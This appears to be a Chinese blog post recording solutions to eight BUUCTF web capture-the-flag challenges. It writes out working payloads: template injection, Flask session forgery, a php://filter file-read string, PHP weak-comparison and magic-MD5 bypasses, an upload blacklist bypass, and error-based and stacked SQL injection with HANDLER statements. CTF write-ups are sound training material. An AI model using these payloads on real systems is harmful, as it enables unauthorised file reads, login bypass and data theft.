白袍的小行星

buuctf平台刷题记录一

字数统计: 1.2k阅读时长: 5 min
2020/07/16 Share

新坑,为了恰钱开始刷题。

[护网杯 2018]easy_tornado

题目给了三个文件的链接:

链接格式是这样的:

file?filename=/flag&filehash=4c2ccb0ae37233b17ab039b0d3dae3f0

flag.txt里给出了flag地址为/fllllllllllllag,我们得构造正确的哈希才能访问成功。

同样的也给出了提示:

md5(cookie_secret+md5(filename))

这里就缺少一个cookie_secret,根据提示可以得到本题的考察内容是模板注入,注入点在报错处:

error?msg=error

注入即可得到cookie_secret,编写脚本生成哈希:

import hashlib
cookie = 'eb137534-7246-4509-8f64-f1832ddff0c5'
filename = '/fllllllllllllag'

md5Filename = hashlib.new('md5', bytes(filename, encoding='utf-8')).hexdigest()
result = md5Filename + cookie
resultMd5 = hashlib.new('md5',bytes(result, encoding='utf-8')).hexdigest()

print(resultMd5)

构造url传入即可。

[HCTF 2018]admin

开局一个登录页面,可登录可注册,注册admin账户提示用户名已存在,重新注册一个登录后:

难道是二次注入?测试发现加单引号直接500了,发现有修改密码的地方,想越权一波,可惜是根据cookie来判断用户的。

最后发现在修改密码的页面里,注释中给出了源码地址:

/app/routes.py里找到登录的地方:

def login():
if current_user.is_authenticated:
return redirect(url_for('index'))

form = LoginForm()
if request.method == 'POST':
name = strlower(form.username.data)
session['name'] = name
user = User.query.filter_by(username=name).first()
if user is None or not user.check_password(form.password.data):
flash('Invalid username or password')
return redirect(url_for('login'))
login_user(user, remember=form.remember_me.data)
return redirect(url_for('index'))
return render_template('login.html', title = 'login', form = form)

这里如果让session['name'] = name成立便可以登录对应账号,而flask的cookie其实是存储在客户端的。通过客户端 session 导致的安全问题可以得知,flask仅对数据进行了签名而不是加密,我们可以解密出session:

所以我们要先替换掉name参数,再对cookie进行加密签名,即可绕过。

利用flask-session-cookie-manager来完成这一过程,secret_key可以在项目源码中找到:

得到flag:

[ACTF2020 新生赛]Include

看名字是文件包含类的,只有一个url:

?file=flag.php

伪协议读取flag.php即可:

?file=php://filter/read=convert.base64-encode/resource=flag.php

[ACTF2020 新生赛]BackupFile

扫目录得到index.php.bak,里面是源码:

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}

要求$key是数字,还要与一个字符串相等。其实就是php弱类型特性,输入123,在比较的时候,$str后面的非数字字符都会被截断,所以就直接相等了。

[ACTF2020 新生赛]Upload

上传一个php,前端提示不行,尝试绕过前端上传,发现还是不行。

猜测是黑名单,尝试到.phtml成功解析,读取/flag即可。

[BJDCTF2020]Easy MD5

访问页面,是个参数框,在响应头里看到:

select * from 'admin' where password=md5($pass,true)

我们要绕过这个语句,就得让这样的等式成立:

md5($pass,true) = ''or'1'

目的还是类似SQL注入,md5()函数的第二个参数为True,即返回原始16字符二进制格式。

所以我们要找一个字符串,它经过MD5加密后,构成类似''or'1'的结构,1并不是固定的,非0的数字都可以。

这里用ffifdyop,输入后重新跳转到另一个页面,注释里给了一部分源码:

$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.

要求$a != $b但是md5($a) == md5($b),还是常见的PHP问题,MD5弱类型比较。

传入a=QNKCDZO&b=s214587387a即可。

再跳转给出了源码:

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}

这次用了===,不能像之前一样绕过,但是可以用数组:

param1[]=1&param2[]=2

POST传参即可。

[极客大挑战 2019]HardSQL

Fuzz一下,发现单引号会报错,但是还过滤了一些字符:

--+
and
union
*

报错注入只有updatexml可用,直接报就完事。

[GYCTF2020]Blacklist

还是注入,继续fuzz,发现给了黑名单:

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

发现可以堆叠注入,尝试预编译形式,但是set被过滤,不行。

看wp后发现有个奇特方法:

HANDLER ... OPEN语句打开一个表,使其可以使用后续HANDLER ... READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE或会话终止之前不会关闭

可以利用1;show tables;#查出表名:

然后:

1';
HANDLER FlagHere OPEN;
HANDLER FlagHere READ FIRST;
HANDLER FlagHere CLOSE;#

这个确实涨姿势了。

CATALOG
  1. 1. [护网杯 2018]easy_tornado
  2. 2. [HCTF 2018]admin
  3. 3. [ACTF2020 新生赛]Include
  4. 4. [ACTF2020 新生赛]BackupFile
  5. 5. [ACTF2020 新生赛]Upload
  6. 6. [BJDCTF2020]Easy MD5
  7. 7. [极客大挑战 2019]HardSQL
  8. 8. [GYCTF2020]Blacklist